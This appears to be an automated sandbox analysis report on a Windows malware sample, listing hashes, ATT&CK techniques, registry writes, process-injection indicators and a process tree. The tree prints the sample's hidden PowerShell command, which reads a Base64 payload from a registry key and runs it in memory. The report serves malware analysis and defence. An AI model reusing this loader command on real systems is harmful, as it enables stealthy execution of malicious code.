2b54039195a45d011a466289c920009afbd276de9f9ab8858b62cb6de1961ed0

Analysis

max time kernel
150s
max time network
137s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
16-08-2024 08:57

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Size

1.7MB
MD5

9db92ead87f1de645a719a3833149ab2
SHA1

bcb4a1b97ded4cbe4cadd6e7f9719b2322618901
SHA256

2b54039195a45d011a466289c920009afbd276de9f9ab8858b62cb6de1961ed0
SHA512

ade5ee81536dc86d226580a308dda14c241fa51fb589cbb92f4105c58c738422ba9620a8c2bb27f144e904b75ade06b8cac76f741c26125de69cf06b1c4d250f
SSDEEP

24576:gk70TrcTv8GaBoLpvX843rTcIM9C8kCRGlSnLvBCUetcSRTFG6UUZN1oda2F4Q77:gkQTAjrJ8Mrg19nLj+dWdaYBJn

Score

8^/10

discovery execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

5 3056 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

3056 powershell.exe

flow	pid	process
5	3056	powershell.exe

pid	process
3056	powershell.exe

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
behavioral1/memory/1076-767-0x0000000000400000-0x0000000000519000-memory.dmp	autoit_exe
behavioral1/memory/1076-772-0x0000000000400000-0x0000000000519000-memory.dmp	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe

description	pid	process	target process
PID 1508 set thread context of 1076	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exeWScript.exe9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exepowershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies registry class 17 IoCs

Processes:

9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID\{B1159E65-821C3-21C5-CE21-34A484D54444}\A9F3AB46\0 = "014138023220133006013030048113063197240048093057"	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID\{A3358E75-826A3-31A5-2C1E-14A484D53571}\A9F3AB46	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID\{A3358E75-826A3-31A5-2C1E-14A484D53571}	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID\{D3558E25-821F3-72C3-8A52-54A482A54739}\A9F3AB46	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID\{B1159E65-821C3-21C5-CE21-34A484D54444}\A9F3AB46	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID\{B1159E65-821C3-21C5-CE21-34A484D54444}	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID\{B1159E65-821C3-21C5-CE21-34A484D54444}\A9F3AB46\1 = "014138023220133006013030048113063197240048093057"	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID\{5FDDB1CD}	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID\{5FDDB1CD}\A9F3AB46\0 = "014138023220133006013030048113063197240048093057"	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID\{5FDDB1CD}\A9F3AB46\1 = "014138023220133006013030048113063197240048093057"	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID\{A3358E75-826A3-31A5-2C1E-14A484D53571}\A9F3AB46\2 = "014138023220133006013030048113063197240048093057"	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID\{B1159E65-821C3-21C5-CE21-34A484D54444}\A9F3AB46\3 = "246087206208176072158153005148068255072109058117"	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID\{5FDDB1CD}\A9F3AB46	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID\{5FDDB1CD}\A9F3AB46\3 = "246087206208176072158153005148068255072109058117"	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID\{D3558E25-821F3-72C3-8A52-54A482A54739}	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000_CLASSES\CID\{D3558E25-821F3-72C3-8A52-54A482A54739}\A9F3AB46\2 = "159021122206117200165108097018043012143072010113"	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exepowershell.exe

pid process

1508 9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
3056 powershell.exe
3056 powershell.exe
3056 powershell.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe

pid process

1076 9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1508 9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Token: SeDebugPrivilege 3056 powershell.exe

pid	process
1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
3056	powershell.exe
3056	powershell.exe
3056	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
Token: SeDebugPrivilege	3056	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe

pid	process
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe

pid	process
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
1076	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exeWScript.exe

description	pid	process	target process
PID 1508 wrote to memory of 1700	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe	WScript.exe
PID 1508 wrote to memory of 1700	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe	WScript.exe
PID 1508 wrote to memory of 1700	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe	WScript.exe
PID 1508 wrote to memory of 1700	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe	WScript.exe
PID 1508 wrote to memory of 1076	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
PID 1508 wrote to memory of 1076	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
PID 1508 wrote to memory of 1076	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
PID 1508 wrote to memory of 1076	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
PID 1508 wrote to memory of 1076	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
PID 1508 wrote to memory of 1076	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
PID 1508 wrote to memory of 1076	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
PID 1508 wrote to memory of 1076	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
PID 1508 wrote to memory of 1076	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
PID 1508 wrote to memory of 1076	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
PID 1508 wrote to memory of 1076	1508	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe	9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
PID 1700 wrote to memory of 3056	1700	WScript.exe	powershell.exe
PID 1700 wrote to memory of 3056	1700	WScript.exe	powershell.exe
PID 1700 wrote to memory of 3056	1700	WScript.exe	powershell.exe
PID 1700 wrote to memory of 3056	1700	WScript.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1508
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\encoded.vbe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1700
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy UnRestricted -Windo 1 -windowstyle hidden -noprofile -Command "$sweMPIwpTWhAiipd = (get-itemproperty -path 'HKCU:\IsEJEAIwRkHJfSb\rwrMWUiFQJZKzOKaDV\' -name 'BtCMsuVhGZUcGMvFXvuDs').BtCMsuVhGZUcGMvFXvuDs;$sweMPIwpTWhAiipd=$sweMPIwpTWhAiipd.replace('(i&y~^t%','A');[byte[]]$_0 = [System.Convert]::FromBase64String($sweMPIwpTWhAiipd);$_1 = [Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke('RPQHJfEHof',$null);"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3056
- C:\Users\Admin\AppData\Local\Temp\9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1076

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\encoded.vbe

Filesize
141KB

MD5
02b4a7beab29edc41934f65d96407d36

SHA1
f179b741f890e5bab53d3923dda1f759e9b1c7c7

SHA256
25419c5e756fddc98b11e667053989de084edec699ced6b77b477fbd085bea20

SHA512
46898863d5dc5cd50e21d1fad898c75b7057cd45301dd470b95dc9fcd390864b00f957bd41413e37d0a42e85bff0d7b77c1ae79bdbc074f454d5044c529fc4a6

Download Submit
memory/1076-772-0x0000000000400000-0x0000000000519000-memory.dmp

Filesize
1.1MB

Download
memory/1076-767-0x0000000000400000-0x0000000000519000-memory.dmp

Filesize
1.1MB

Download
memory/1508-27-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-53-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-19-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-6-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-9-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-21-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-31-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-23-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-51-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-49-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-47-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-45-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-25-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-41-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-39-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-37-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-35-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-33-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-29-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-0-0x000000007411E000-0x000000007411F000-memory.dmp

Filesize
4KB

Download
memory/1508-43-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-4-0x0000000074110000-0x00000000747FE000-memory.dmp

Filesize
6.9MB

Download
memory/1508-5-0x0000000074110000-0x00000000747FE000-memory.dmp

Filesize
6.9MB

Download
memory/1508-17-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-15-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-13-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-11-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-7-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-55-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-57-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-59-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-67-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-65-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-63-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-61-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-69-0x0000000004E70000-0x0000000005075000-memory.dmp

Filesize
2.0MB

Download
memory/1508-742-0x0000000074110000-0x00000000747FE000-memory.dmp

Filesize
6.9MB

Download
memory/1508-3-0x0000000004E70000-0x000000000507C000-memory.dmp

Filesize
2.0MB

Download
memory/1508-749-0x0000000005EF0000-0x0000000005F0C000-memory.dmp

Filesize
112KB

Download
memory/1508-2-0x0000000074110000-0x00000000747FE000-memory.dmp

Filesize
6.9MB

Download
memory/1508-768-0x0000000074110000-0x00000000747FE000-memory.dmp

Filesize
6.9MB

Download
memory/1508-1-0x0000000005080000-0x000000000528C000-memory.dmp

Filesize
2.0MB

Download